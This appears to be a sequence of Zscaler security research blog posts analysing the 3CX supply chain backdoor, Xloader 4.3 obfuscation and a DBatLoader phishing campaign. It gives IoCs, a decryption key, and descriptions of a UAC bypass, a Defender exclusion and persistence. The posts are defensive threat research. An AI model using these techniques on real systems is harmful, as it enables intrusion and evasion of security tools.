Backdoored “ffmpeg.dll” Based on reports, the ffmpeg.dll was backdoored by the Threat Actors via manipulating the source code leading to the Supply Chain Attack. Once loaded into the virtual memory, the malicious “ffmpeg.dll” is commissioned to load the d3dcompiler_47.dll which contains the encrypted second stage payload. Initially the main function creates an event called "AVMonitorRefreshEvent" and checks if it already exists. If it does, it exits. Fig.7 - Main function of ffmpeg.dll After that it checks the current path in order to load the d3dcompiler_47.dll into memory and further loads the DLL into memory and checks if the DLL loaded correctly by comparing the starting byte of DLL. Fig.8 - Load d3dcompiler_47.dll and check for starting byte of DLL In this case the d3dcompiler_47.dll consisting of the RC4 encrypted shellcode and embedded DLL is valid signed by the Microsoft Digital certificate as shown in the screenshot below. Fig.9 - Microsoft signed d3dcompiler_47.dll Further in the infection chain, the ffmpeg.dll looks for the specific hex byte (FE ED FA CE) in the loaded d3dcompiler_47.dll which contains a second stage encrypted payload. Fig.10 - Look for specific hex byte (FE ED FA CE) in loaded d3dcompiler_47.dll After it locates the specific hex in loaded d3dcompiler_47.dll, it uses the RC4 decryption with the key “3jB(2bsG#@c7” to decrypt the second stage payload which is a shellcode with embedded DLL. The shellcode is responsible for calling the export function “DllGetClassObject” of the second stage DLL to execute and download further stage payload. Fig.11 - Decryption of second stage payload Fig.12 - Decrypted second stage payload The Stage-2 DLL further downloads the Icon file from the following Github repository as shown below. We observed in some cases that the second stage decrypted DLL would sleep for more than 7 days before communicating with the C2 server. Fig.13 - Second Stage payload downloads icon files from GitHub Repository The github repository consists of multiple icon files as shown below. These icons are been downloaded by the Stage-2 DLL. Fig.14 - Github Repository hosting multiple icon files. Further the Stage-2 DLL reads the icon file and parses the encrypted string present at the end of the downloaded icon file and passes it to the ico_decryption() function. Fig.15 - Parsing of the Encrypted string in the ICON File The encrypted string from the icon file is base64 decoded and then passed to a decryption routine as shown below in the screenshot.The decrypted string in this case is the C2 URL: https[:]//glcloudservice[.]com/v1/console Fig.16 - Decryption of C2 URL from the encrypted string parsed via the ICON File Further the malware performs HTTPS requests to the C2 URL as shown in the screenshot below from the Zscaler Cloud. Fig.17 - HTTPS Requests to the C2 URL seen in the Zscaler Cloud At the time of analysis the C2 Domains were down. The expected response would be in JSON format consisting of encrypted data which is then decrypted by the decryption routine before the final payload is executed on the infected machine. Based on the blog published by Sentinel One, the final payload delivered on the target machines in the supply chain attack was an Infostealer with capabilities such as collecting system information and browser information such as saved credentials from the Brave, Chrome, Edge, and Firefox Affected 3CX Versions: Following are the affected versions announced by 3CX: Affected 3CX Electron Windows App Versions: 18.12.416 18.12.407 Affected Electron Mac App versions: 18.11.1213 18.12.402 18.12.407 18.12.416 IoCs: File Name Md5 3CXDesktopApp-18.12.416.msi 0eeb1c0133eb4d571178b2d9d14ce3e9 3CXDesktopApp.exe 704db9184700481a56e5100fb56496ce ffmpeg.dll cb01ff4809638410a531400a66376fa3 d3dcompiler_47.dll 82187ad3f0c6c225e2fba0c867280cc9 C2 Domains: akamaicontainer[.]com akamaitechcloudservices[.]com azuredeploystore[.]com azureonlinecloud[.]com azureonlinestorage[.]com dunamistrd[.]com glcloudservice[.]com journalide[.]org msedgepackageinfo[.]com msstorageazure[.]com msstorageboxes[.]com officeaddons[.]com officestoragebox[.]com pbxcloudeservices[.]com pbxphonenetwork[.]com pbxsources[.]com qwepoi123098[.]com sbmsa[.]wiki sourceslabs[.]com visualstudiofactory[.]com zacharryblogs[.]com msedgeupdate[.]net Fri, 31 Mar 2023 16:57:51 -0700 Rohit Hegde https://www.zscaler.com/blogs/security-research/3CX-supply-chain-attack-analysis-march-2023 Coverage Advisory for 3CX Supply Chain Attack https://www.zscaler.com/blogs/security-research/coverage-advisory-3cx-supply-chain-attack-march-2023 Update [2023-03-31 05:00 PM PST] We have published a blog detailing our analysis on the 3CX Supply Chain Attack. Background: On 30th March 2023, 3CX released a security alert for 3CX Electron Windows App shipped in Update 7, which informed users about a supply chain attack. The issue has affected the executables for both Windows and Mac operating systems. What is the issue? The impacted 3CX Electron Desktop App was bundled with an infected library file named ffmpeg.dll. This infected library further downloads another encrypted file d3dcompiler_47.dll. This file has functionality to access .ico files hosted on GitHub which contain CnC information. These CnC domains are used to deliver the final payload which allows the attacker to perform malicious activity in the victim’s environment. The diagram below shows the attack chain. During our investigations we found the attacks to be active since February, we will release a more detailed analysis report soon. What systems are impacted? This impacts Windows and Mac versions of 3CX Electron Windows App. 3CX Electron Windows App version 18.12.407 3CX Electron Windows App version 18.12.416 3CX Electron Mac App version 18.11.1213 3CX Electron Mac App version 18.12.402 3CX Electron Mac App version 18.12.407 3CX Electron Mac App version 18.12.416 What can you do to protect yourself? If you find systems on your network running these compromised versions of 3CX Electron Desktop app then please uninstall the software. Find the infected systems by checking the client details from your SIEM logs for systems trying to connect to the IoCs mentioned in the IoC section of this advisory. While the reputation based blocks will block communication to the CnC domains, the CnC communication uses HTTPS protocol, please enable SSL inspection for the content downloaded from such malicious domains to be scanned. Zscaler coverage Advanced Cloud Sandbox Win32.Trojan.3CX Advanced Threat Protection Win32.Trojan.3CX HTML.MalURL.Gen.XO IoCs CnC domains: raw[.]githubusercontent[.]com/IconStorages/images/main/ visualstudiofactory[.]com sourceslabs[.]com sbmsa[.]wiki qwepoi123098[.]com journalide[.]org dunamistrd[.]com azureonlinestorage[.]com azureonlinecloud[.]com akamaicontainer[.]com zacharryblogs[.]com Soyoungjun[.]com pbxsources[.]com pbxphonenetwork[.]com pbxcloudeservices[.]com officestoragebox[.]com officeaddons[.]com msstorageboxes[.]com msstorageazure[.]com msedgepackageinfo[.]com glcloudservice[.]com azuredeploystore[.]com akamaitechcloudservices[.]com Malicious hash d5101c3b86d973a848ab7ed79cd11e5a ca5a66380563ca4c545f1676c23bd95d 6426fe4dc604c7f1784ed1d48ab4ffc8 82187ad3f0c6c225e2fba0c867280cc9 74bc2d0b6680faa1a5a76b27e5479cbc f3d4144860ca10ba60f7ef4d176cc736 bb915073385dd16a846dfa318afa3c19 9833a4779b69b38e3e51f04e395674c6 0eeb1c0133eb4d571178b2d9d14ce3e9 Details related to the threat signatures released by Zscaler can be found in the Zscaler Threat Library. Thu, 30 Mar 2023 17:49:29 -0700 Rohit Hegde https://www.zscaler.com/blogs/security-research/coverage-advisory-3cx-supply-chain-attack-march-2023 Technical Analysis of Xloader’s Code Obfuscation in Version 4.3 https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-version-4-3 Key Points Xloader is a popular information stealing malware family that is the successor to Formbook. In early 2020, Formbook was rebranded as Xloader and the threat actors moved to a malware-as-a-service (MaaS) business model, renting C2 infrastructure to customers. Xloader implements different obfuscation methods and several encryption layers to protect critical parts of code and data from analysis. The developers behind this malware family continue to update the code with improved obfuscation and encryption layers with each new version that is released. In January 2023, Zscaler ThreatLabz identified a new variant of Xloader that identifies itself as version 4.3 with several modifications including additional obfuscation. Introduction Xloader is a rebranded version of the Formbook information stealing malware, which has been sold in criminal forums since 2016. The threat actors behind this malware family have been updating and improving the code regularly. In early 2020, the malware was rebranded as Xloader. In early 2022, the threat actors released Xloader version 2.9, which introduced significant improvements to obfuscate the malware code and data including the list of command-and-control (C2) servers. In October 2022, ThreatLabz identified a new Xloader version labeled as 3.9. In January 2023, the threat actors released Xloader version 4.3. Across Xloader versions, the group has modified the malware’s obfuscation techniques including adding numerous layers of encryption with code that recursively decrypts other blocks of code until reaching the core functionality that decrypts the most sensitive data (also encrypted with multiple layers). This blog post analyzes the encryption algorithms used by Xloader to decrypt the most critical parts of the code and the most important parameters of the malware’s configuration. The analysis is performed on the latest version of Xloader 4.3. ThreatLabz has also created an IDA Python script to decrypt Xloader’s code and data to facilitate analysis. Technical Analysis Basic Algorithms and Structures Formbook and Xloader have evolved along the years with new layers of obfuscation added in each new version. However, there is a set of basic algorithms that have been used since the first versions of Formbook. These algorithms are combined in different ways to decrypt other blocks of code and data. The primary algorithms that are shared between different versions of Xloader are the following: Custom RC4: an RC4-based algorithm with two additional layers based on subtraction operations. Custom buffer decryption algorithm: a custom algorithm used by Xloader, mainly used to decrypt the first encryption layer of the PUSHEBP data blocks (described in the following sections). Custom SHA1: a SHA1 hash is calculated and the result is reversed DWORD by DWORD. There is also a large global data structure that is used to store important information. When Xloader is executed, this structure is allocated and initialized with information from PUSHEBP data blocks, or from hardcoded values in the code. This structure contains data and encryption keys that are used by other parts of the code. Previous blog posts have referred to this structure as the ConfigObj, with fields that are used to store flags, encryption parameters, pointers, etc. The most important offsets in the ConfigObj structure are identified in Table 1. Offset Description Size 0x00 Value 0xffffffff 0x04 0x04 Pointer to a second PE header used for process injection (e.g., explorer.exe) 0x04 0x08 Result of RtlGetProcessHeaps() 0x04 0x48 Branch ID – XLNG (XORed with 0x3c) 0x04 0x90 Pointer to an extended config (located in memory following the ConfigObj structure) 0x04 0x2DC Decrypted content of the PUSHEBP block 2, which is an array of API hashes 0x220 0x510 Array of library and process names hashes 0x254 0x828 Seed of a random number generator (RNG) used by the malware 0x4 0x83C Flag indicating that Xloader has generated the parameters necessary for the communications with the C2 0x4 0x970 The Xloader version number (XORed with 0x3c) 0x4 0x990 RC4 key used to decrypt other parameters 0x14 0x9A4 RC4 key used to decrypt other parameters (this key is the SHA1 of the decrypted content of the PUSHEBP block 5) 0x14 0xCE8 RC4 key used to decrypt the C2s list 0x14 Table 1. Important Xloader 4.3 ConfigObj fields. Encrypted PUSHEBP Data Blocks Throughout the Xloader code there is a set of encrypted data blocks with the structure shown in Figure 1. Figure 1. Xloader PUSHEBP encrypted block This structure is designed to resemble the beginning of a function, but are in fact blocks of encrypted data such as encryption keys and encrypted strings. These data blocks are decrypted using a custom buffer decryption algorithm. Table 2 shows the PUSHEBP encrypted blocks that were found in Xloader 4.3. PUSHEBP Block Number Description Size PUSHEBP Block 1 Encrypted strings 0xA82 PUSHEBP Block 2 API CRCs 0x222 PUSHEBP Block 3 Encryption key involved in C2 communications 0x15 PUSHEBP Block 4 Encryption key used to decrypt other data 0x14 PUSHEBP Block 5 Hardcoded C2 0x78 PUSHEBP Block 6 API CRCs 0x310 Table 2. PUSHEBP encrypted block contents Encrypted PUSHEBP Functions Formbook and Xloader also contain functions that decrypt code. An example function to decrypt code (prior to Xloader 2.9) is shown in Figure 2. Figure 2. Encrypted code in earlier versions of Xloader and Formbook This code starts with the well-known function preamble push ebp / mov ebp, esp, followed by a tag identifying the encrypted code (0x49909090 in Figure 2), the encrypted code, and an ending tag 0x90909090. In older versions, the code was decrypted using a custom RC4 algorithm with a key stored in the ConfigObj structure. In Xloader version 2.9, the code retained the custom RC4 algorithm and added a layer of encryption with a second key built on the stack, as shown in Figure 3. Figure 3. Decryptor of the PUSHEBP functions in Xloader version 2.9 In Xloader version 4.3, there are still PUSHEBP encrypted functions. However, the tags identifying the start and the end of the encrypted code have changed, and now they appear to be random bytes. Figure 4 shows an example of an encrypted function in Xloader 4.3. Figure 4. Encrypted PUSHEBP function (Xloader version 4.3) Figure 5 shows the code that decrypts a PUSHEBP function (e.g., the function DecryptCriticalCodeType1_Set_909090909090), which accepts two encrypted tags and an ID value. Inside the decryptor, another 0x14 byte key is constructed dynamically in the sub-function init_key_encrypted_funcs, XORed with a DWORD (XOR key 1) and XORed again with the ID value passed as an argument and another hardcoded DWORD (XOR key 2). The resulting 0x14 byte key will be used to decrypt the encrypted code using Xloader’s custom RC4 algorithm. The same RC4 key is also used to decrypt the encrypted TAG1 and TAG2, which are passed as arguments to the decryptor to derive the starting and ending tags that delimit the encrypted PUSHEBP function. Figure 5. PUSHEBP function decryption code (Xloader version 4.3) After the code is decrypted, the delimiter tags are replaced by 90 90 90 90 90 90 (NOP) opcodes. Figure 6 shows an encrypted function before and after being decrypted. Figure 6. Example PUSHEBP function decrypted (Xloader version 4.3) Encrypted NO-PUSHEBP Functions In Xloader version 4.3, a new type of encrypted function without the push ebp / mov ebp esp preamble has also been introduced. The limits of the encrypted code are located by searching for two tags that identify the start and the end of the block. Figure 7 shows the code responsible for determining the limits of a NO-PUSHEBP encrypted function. Figure 7. NO-PUSHEBP decryption code limit identification and layer 1 decryption (Xloader version 4.3) The custom Xloader RC4 algorithm is again used to decrypt the encrypted code with two layers and two different keys. The encryption key for the first layer is calculated in another function and stored in the global structure ConfigObj (the value is the result of Xloader’s custom SHA1 algorithm of the decrypted content of the PUSHEBP data block number 5). The encryption key for the second layer is built on the fly: an initial key is built on the stack and XORed with a DWORD (XOR key), producing the final key (Xloader never hardcodes exact values including for encryption keys and delimiter tags). Figure 8 shows the code involved in the decryption of the second layer for one of the encrypted NO-PUSHEBP functions. Figure 8. NO-PUSHEBP layer 2 decryption (Xloader version 4.3) After the code is decrypted, the tag before the encrypted code is replaced by the opcodes EC 8B 55 (push ebp / mov ebp esp function preamble). The tag after the encrypted code is replaced by 90 90 90 90 (NOP) opcodes. Encrypted Configuration The most important parameters of Xloader’s configuration are stored in the PUSHEBP encrypted data blocks or calculated from hardcoded constants (that are also obfuscated). Encrypted Strings The encrypted strings in Xloader are stored in the PUSHEBP data block 1. All the PUSHEBP data blocks have to be decrypted with the custom buffer decryption algorithm as explained before. Once the block is decrypted, the result is a sequential list of items that have the following format: struct encrypted_string { BYTE length; BYTE content[length]; } Each string is decrypted with the custom Xloader RC4 algorithm and an encryption key stored at offset 0x990 in the ConfigObj. This RC4 key is generated in the function shown in Figure 9. Figure 9. Generation of the RC4 key for encrypted strings (Xloader version 4.3) ThreatLabz has reproduced this algorithm to decrypt the encrypted strings in Xloader 4.3 in Python. The code is available in our GitHub repository here. Encrypted C2s The Xloader configuration contains a C2 that is stored separately from another list of C2 domains. The C2 that is stored separately was thought to be Xloader’s real C2 and the other C2s were used as decoys. However, in more recent versions of Xloader, real C2s are likely hidden among the list of decoy C2s. In fact, the author behind Xloader has made significant efforts to protect the list of C2s that were previously thought to be decoys. Hardcoded C2 The code shown in Figure 10 is responsible for decrypting the hardcoded Xloader C2. Figure 10. Hardcoded C2 decryption (Xloader version 4.3) The code in Figure 10 combines a set of operations based on Xloader’s various encryption algorithms and the data stored in the PUSHEBP data blocks to generate the encryption key necessary to decrypt the hardcoded C2 (which is stored in the PUSHEBP data block 5). C2 List As previously mentioned, there is another list of C2s that may contain decoy C2s and real C2s. In Formbook and in earlier versions of Xloader, these were stored as an encrypted string with no additional layers of encryption. In Xloader 2.9, the developers introduced an additional custom RC4 layer and Base64 encoding for the C2 list as shown in Figure 11. Figure 11. Additional encryption layer for the C2 list (Xloader version 2.9) In Figure 11, the function StringsDecryptor2 decrypts the first layer of the encrypted strings. In version 2.9, an additional Base64 layer is decoded followed by a layer of custom RC4 decryption. In Xloader version 4.3, they have added an additional encryption layer to this C2 list. Figure 12 shows the code responsible for decrypting these new layers. Figure 12. New encryption layer for Xloader’s C2 list (Xloader version 4.3) In the new version, the C2 list is first Base64 decoded and a custom RC4 layer is decrypted. A table of 4 byte keys is built on the stack. Each position of the table corresponds to a C2. Once decrypted, this custom RC4 layer is Base64 encoded again. After the new additional decryption layer is complete, Xloader decrypts the same layers as version 2.9: decoding the Base64 layer again and decrypting an additional custom RC4 layer with a key stored in a sub-structure of the ConfigObj. The way that this key (for the last RC4 layer) is generated has also changed in Xloader 4.3. Figure 13 shows the code generating the RC4 key for the last encryption layer of the C2 list. Figure 13. Key generation for the final encryption layer of the C2 list (Xloader version 4.3) As shown in Figure 13, the key is built on the stack and it is XORed with a value from the ConfigObj that was initialized previously in a different part of the code. Once this last layer is decrypted, the plaintext C2s are obtained. Branch ID and Version Number In previous versions, the Xloader branch ID and version number were sent in the registration packet to the C2. The format of the registration packet (before the last two RC4 layers) was the following: XLNG Bot ID Version Number Operating System Base64(Username) XLNG is the tag for the Xloader branch (FBNG was the branch ID for Formbook). In Xloader version 4.3, the registration packet sent to the C2 includes an additional encryption layer as shown in Figure 14. Figure 14. Xloader 4.3 Registration packet with additional PKT2 layer This new encryption layer is marked with the tag PKT2. Communications are performed in the context of explorer.exe (previously injected). However, this registration packet is built in the first injected process (a hollow process) and copied to the context of explorer together with the rest of the injected code. That first injected process exits after injecting into explorer, so the registration packet under the last encryption layer marked with the PKT2 tag is no longer in plaintext after the first injected process terminates. The PKT2 packet is built in one of the NO-PUSHEBP encrypted functions. That function is decrypted and executed in the context of the first injected process. The code first builds a string with the same format as the registration packet in previous Xloader versions as shown in Figure 15. Figure 15. Registration packet with the new PKT2 encryption layer However, as we can see in Figure 15, Xloader 4.3 introduces a NULL character separating the bot ID and the malware version number. This added NULL byte is likely a coding error. Figure 16 shows how the first registration packet is constructed (marked with XLNG tag) and encrypted with RC4 and encoded with Base64, and then concatenated to the PKT2 tag to generate the final registration packet. Figure 16. Xloader version 4.3 registration packet construction However, because of the coding error previously mentioned (an extra NULL character after the bot ID) the final registration data contains just two fields for the XLNG branch and bot ID as shown below: XLNG Bot ID The PKT2 tag is then prepended with the RC4 and Base64 encoded data as follows: PKT2 RC4_BASE64(registration_data) As a result, the version_number, operating_system and user_name is never sent to the C2. This bug will likely be fixed in future versions of the malware. Figure 16 also shows that the branch ID and version number are no longer hardcoded unlike previous versions, with the encrypted version number and branch ID decrypted with an XOR key (0x3c). Tools Zscaler ThreatLabz has developed an IDA script to decrypt the Xloader’s encrypted code. The code is available in our GitHub tools repository here. Conclusion Since its inception, the Formbook and Xloader malware families has been a prominent threat. The threat actors behind it continue to update and improve the malware code in an effort to hinder analysis. In the most recent version, the threat actors increased the level of complexity yet again with additional layers of encryption for critical parts of the code and important data. However, Zscaler researchers have been able to unravel these obfuscation layers and analyze the key components of the malware code. Cloud of Sandbox Detection Zscaler's multilayered cloud security platform detects Xloader and Formbook indicators at various levels, as shown below: Win32.PWS.XLoader Win32.PWS.Formbook Indicators of Compromise Variant Version SHA256 Botnet XLoader 4.3 9e1b4f2d408e187ca641c0c16269069d0acabe5ae15514418726fbc720b33731 6qne XLoader 4.3 f55ce0741ed4615bae5646c644b3a971323ac344b12693495d5749c688d5d489 6qne XLoader 4.3 3bd86f3906f59f627bf65664d2bfacf37a29dbaafeae601baf5eeb544396f26c 6qne XLoader 3.9 8e12b85676aaf45a93c91e2db2065151e19f184907da6d85701ac3b13d0e6052 nvp4 XLoader 3.9 6a726fb5c93adbae0f3061b40b19745587c0114deb86bd72c90acdd69242cbe0 nvp4 Network Indicators Type Domain Harcoded C2 domain jourmoe[.]com C2 list domain 060jinbo[.]com C2 list domain 10086253[.]vip C2 list domain 117ygh9x[.]com C2 list domain 365-8119[.]com C2 list domain 365heji[.]com C2 list domain 4tx[.]ru C2 list domain 667fm[.]com C2 list domain 991-touring[.]info C2 list domain abttt[.]win C2 list domain adacaranya[.]com C2 list domain allforfun[.]online C2 list domain allison2patrick[.]online C2 list domain applicationsdown[.]store C2 list domain apsocreto[.]online C2 list domain avdeeva[.]info C2 list domain betfury-platform[.]net C2 list domain bilpoinsaat[.]net C2 list domain bocc[.]live C2 list domain bookinbournemouth[.]co[.]uk C2 list domain botanica-online[.]ru C2 list domain byfuture[.]biz C2 list domain canlicerrahi[.]xyz C2 list domain ceu84g[.]com C2 list domain chiyiqian[.]net C2 list domain christmatoy[.]com C2 list domain cinemamaxz[.]com C2 list domain coffeelectro[.]online C2 list domain dedmorozvidos[.]store C2 list domain difozaa[.]life C2 list domain dugebitv4[.]xyz C2 list domain eatgre[.]wiki C2 list domain expertponto[.]com C2 list domain farmanow[.]xyz C2 list domain flippingfrenzy[.]com C2 list domain g2fm[.]co[.]uk C2 list domain ginaandhipa[.]com C2 list domain graciesvoice[.]info C2 list domain guzmanmodels[.]com C2 list domain habka[.]online C2 list domain hal-skincare[.]com C2 list domain hiufouwnwk[.]shop C2 list domain hjiqa[.]com C2 list domain huifeng-tech[.]com C2 list domain identowel[.]com C2 list domain inigrey[.]com C2 list domain ituyiut[.]wang C2 list domain jimtrosper[.]com C2 list domain kajainterior[.]com C2 list domain loaddown[.]vip C2 list domain mgconsultantlogistics[.]com C2 list domain myif471ok9ipidk2kkl[.]xyz C2 list domain najdlegend1[.]com C2 list domain nnhuigou[.]com C2 list domain ogei[.]app C2 list domain poweroffer[.]net C2 list domain realtxt[.]co[.]uk C2 list domain seeword[.]site C2 list domain solutionsquik[.]net C2 list domain themas5erofssuepnse[.]cyou C2 list domain uevj[.]win C2 list domain vowlashes[.]co[.]uk C2 list domain wanknumbers[.]co[.]uk C2 list domain wsavxrg[.]shop C2 list domain zzaen[.]com References https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://www.netscout.com/blog/asert/formidable-formbook-form-grabber https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I?utm_source=blog&utm_campaign=deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii?utm_source=blog&utm_campaign=deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-in-phishing-campaign-part-iii https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/ https://research.checkpoint.com/2021/time-proven-tricks-in-a-new-environment-the-macos-evolution-of-formbook/ https://research.checkpoint.com/2021/stealth-is-never-enough-or-revealing-formbook-successors-cc-infrastructure/ https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/ Thu, 30 Mar 2023 08:30:01 -0700 Javier Vicente https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-version-4-3 DBatLoader: Actively Distributing Malwares Targeting European Businesses https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses This Zscaler ThreatLabz research article investigates the latest malware campaign of DBatLoader, which is being used by threat actors to target various businesses in European countries with Remcos RAT and Formbook. The article provides a detailed analysis of DBatLoader's behavior and its attack process, which includes creating a mock trusted directory, using an executable to load the malicious DLL script, and executing powershell commands in BAT script to exclude Microsoft Defender scanning. The article also highlights the use of different file formats and obfuscation methods to avoid detection from antivirus engines. ThreatLabz in-depth analysis of DBatLoader includes the identification of key indicators of compromise and mapped MITRE ATT&CK techniques used by the attackers. The researchers conclude by recommending that users and organizations stay vigilant against such malspam phishing campaigns and use advanced security solutions to defend against malware. Introduction: The ThreatLabz research team at Zscaler remains vigilant in monitoring active threat campaigns. Recently, the team identified a new campaign involving DBatLoader also known as ModiLoader that specifically targets manufacturing companies and various businesses in European countries via phishing emails. The malware payload is distributed through WordPress websites that have authorized SSL certificates, which is a common tactic used by threat actors to evade detection engines. Throughout this campaign, researchers observed multiple techniques employed by the threat actor in the phishing emails to distribute Remcos RAT and Formbook via DBatLoader / ModiLoader. Key Takeaways: Zscaler's ThreatLabz Research team identified a new DBatLoader campaign distributing Remcos RAT and Formbook malware. The campaign targets manufacturing companies and multiple businesses in European countries through phishing emails. The malicious payload is distributed through WordPress sites with authorized SSL certificates. Multiple techniques are used in phishing emails to deceive users into downloading the payload, including using courier-themed schemes and disguising PDF attachments as Revised Order Documents, Payment Invoices, Quotations, Sales Orders, and similar items. The attackers use multilayer obfuscation techniques and various file formats, such as PDF, HTML, ZIP, and OneNote, to deliver the payload. The malwares analyzed during this investigation uses mock trusted directories to bypass Windows User Account Control (UAC) and elevate to higher privileges without displaying a UAC prompt. DBatLoader creates a copy of itself and a file with .url extension for persistence and creates an autorun registry key to survive reboots. Fig.1 - Campaign targeting manufacturing companies - source: Zscaler Cloud RemcosRAT Campaign Overview: This diagram illustrates how the Remcos RAT was distributed and executed on the victim's machine during the campaign: Fig.2 - Attack chain and execution flow of RemcosRAT The attack begins with a phishing email titled "Purchase Order SZ5-9-020" that appears to come from a manufacturing company based on a quick examination of the domain and footer. The email is crafted to deceive users into opening the attachments without suspicion. The attached PDF file contains a malicious link labeled "View Secured Document." Clicking on this link downloads a CAB file, which stores installation data and ultimately downloads and executes DBatLoader and Remcos RAT. Fig.3 - Phishing email with attached malicious PDF The CAB file that is downloaded includes an LNK file with a PDF extension designed to trick users into opening it. Once the payload is extracted, a PowerShell script is executed to download and run DBatLoader. Fig.4 - Downloaded CAB file and execution of LNK file Several similar attacks have been observed from the beginning of this year, all originating from the same WordPress site, using DBatLoader/ModiLoader to download Remcos RAT. The threat actor(s) behind these attacks employs the same attack chain, but pretends to be a different manufacturing company each time to evade detection and deceive victims. Fig.5 - Similar attack chain with different phishing email During the investigation of active campaigns, various shortcut files with names like "Quotation.pdf.lnk" and "Revised_Order_Document.pdf.lnk" were discovered. These shortcuts were responsible for downloading DBatLoader/ModiLoader with Remcos RAT from the same WordPress site. Formbook Stealer Campaign Overview: During investigation, a courier-themed phishing email was discovered, which delivered Formbook via DBatLoader/ModiLoader. The payload was downloaded from a WordPress site with an .eu (European Union) top-level domain and authorized SSL certificate. Multiple malicious PDFs with embedded links were also found, which used a similar trick to the Remcos RAT campaign to download DBatLoader/Formbook from the WordPress site. Fig.6 - Formbook campaign attack chain Other Observed Techniques in DBatLoader Campaign: Several other phishing emails were discovered during the course of investigating this campaign, using malicious files in various formats such as HTML and OneNote as attachments. These are described below. In an HTML-based campaign, the threat actor employs a multi-layered obfuscated HTML file as an attachment to deploy the DBatLoader payload on the targeted system. Fig.7 - HTML-based attachment campaign Flow of HTML file to drop ISO file which contains DBatLoader payload: HTML -> Base64 Javascript -> Base64 ISO -> Drop ISO File -> DBatLoader payload The flow of the HTML file involves dropping an ISO file that contains the DBatLoader payload. The HTML file is first processed through Base64 Javascript, which then leads to the Base64-encoded ISO file. Finally, the ISO file is dropped to execute the DBatLoader payload. Fig.8 - HTML obfuscation to drop ISO file In a OneNote attachment campaign, threat actors utilized OneNote attachments to drop the DBatLoader in a campaign targeting various businesses. The latest technique involved hiding the embedded malicious payload behind a fake button, deceiving users into running the malware. Since November 2022, an increase in the use of OneNote files as initial vectors for malware distribution has been observed. To learn more, check out the Zscaler ThreatLabz research blog on OneNote released earlier this month for more detailed information on related campaigns and obfuscation techniques. Two phishing attacks with the same malspam sender name were discovered in this campaign, and the attached OneNote files contained the embedded DBatLoader payload. Fig.9 - OneNote attachment campaign Technical Analysis of DBatLoader/ModiLoader: DBatLoader/ModiLoader/NatsoLoader is a Delphi compiled binary that drops final payloads like Formbook, Remcos RAT, Netwire RAT, and Warzone RAT. It uses multi-layer obfuscation and image steganography techniques to hide the initial stage from detection engines and download obfuscated later stage payloads from public cloud services like OneDrive and Google Drive. The Loader doesn't use any Anti-Debug/Anti-VM/Anti-Sandbox techniques. Stage 1: In the first stage, four steps are followed: Extraction, Decoding, Allocation, and Execution. Step 1 - Extraction: In this stage Form has been created via the ‘TFormSplash_FormCreate’ in this there is a function named ‘Oncreate()’ which contains the actual Code for the Loader. Fig.10 -Function Oncreate() contains the Loadercode DBatLoader's resource section contains a GIF image as the second stage encrypted payload. Fig.11 - Encrypted GIF payload in resource section The following function in DBatLoader is responsible for reading encoded data from the 'uski' resource name within the file and subsequently loading it into memory. Step 2 - Decoding: Fig.13 - Decoding function The following is an explanation of the function's logic: The encrypted byte from the resource section is added to the number 79. If the resulting value exceeds 255, an Overflow occurs, and the excess amount is ignored and stored in a variable. Otherwise, the result is stored in the same variable. The resulting value is then converted from hexadecimal to string, and individual bytes are retrieved to decode the second stage DLL payload. Example python script used to decode the payload: Fig.14 - Python script to decode payload Step 3 - Allocation: Once the payload has been decoded, the F_Execution_main function is responsible for allocating the decoded payload into memory. Fig.15 -Function for memory allocation The decrypted payload will be allocated in the memory of the DBatLoader's own process through the use of the 'VirtualAlloc' API. This decrypted payload constitutes the second stage DLL, which carries out additional malicious activities of the DBatLoader. It is worth noting that the second stage payload can take the form of either a DLL or an executable (EXE) file. Fig.16 - VirtualAlloc API used for memory allocation Step 4 - Execution: The main function calls another function, passing the decoded value of the second stage as an argument, in order to execute the final payload. Fig.17 - Function for execution Stage 2: Once the first-stage DBatLoader loads the decoded second-stage payload into memory, the second-stage payload drops four files on the infected system's disk path 'C:\Users\Public\Libraries'. The dropped files include two batch files named 'XdfiifagO.bat' and 'KDECO.bat', one DLL file named 'netutils.dll', and one executable file named 'easinvoker.exe'. Fig.18 - Initial Bat script The first 'XdfiifagO.bat' batch file then leverages a well-known technique of bypassing Windows User Account Control (UAC) called the 'Mock Trusted Directories Method' to escalate privileges without displaying a UAC prompt. This method involves creating a fake directory with extra whitespace and the same name to a legitimate trusted location, such as "C:\Windows \System32", and copying the required files to it. Since the mock directory cannot be created through the Windows Explorer User Interface, the attacker uses a script to create it. Once the directory is created, the batch file copies the legitimate ‘easinvoker.exe’ executable, the malicious ‘netutils.dll’, and the ‘KDECO.bat’ script into it. The script then executes ‘easinvoker.exe’ from the mock directory and adds a delay using the 'ping 127.0.0.1 -n 6 > nul' command. Finally, the mock directory is deleted. The auto-elevated ‘easinvoker.exe’ executable is vulnerable to the 'relative path DLL Hijack' variant of DLL Hijacking. Windows automatically elevates this process without displaying a UAC prompt if it is located in a trusted directory. Therefore, the attacker copies ‘easinvoker.exe’ to the mock directory and uses it to load the malicious ‘netutils.dll’, which in turn executes the ‘KDECO.bat’ script. Fig.19 - Second Bat script The script 'KDECO.bat' includes PowerShell commands that exclude the 'C:\Users' directory from being scanned by Microsoft Defender. Fig.20 - Function to create .url file DBatLoader achieves persistence by creating a copy of itself and a file called ‘gafiifdX.url’ in the 'C:\Users\Public\Libraries' directory. The 'gafiifdX.url' file is an internet shortcut that executes the dropped malicious payload on the system. By using this file, DBatLoader creates an autorun registry key under 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' to survive a reboot. Here is the content of the 'gafiifdX.url' file: [InternetShortcut] 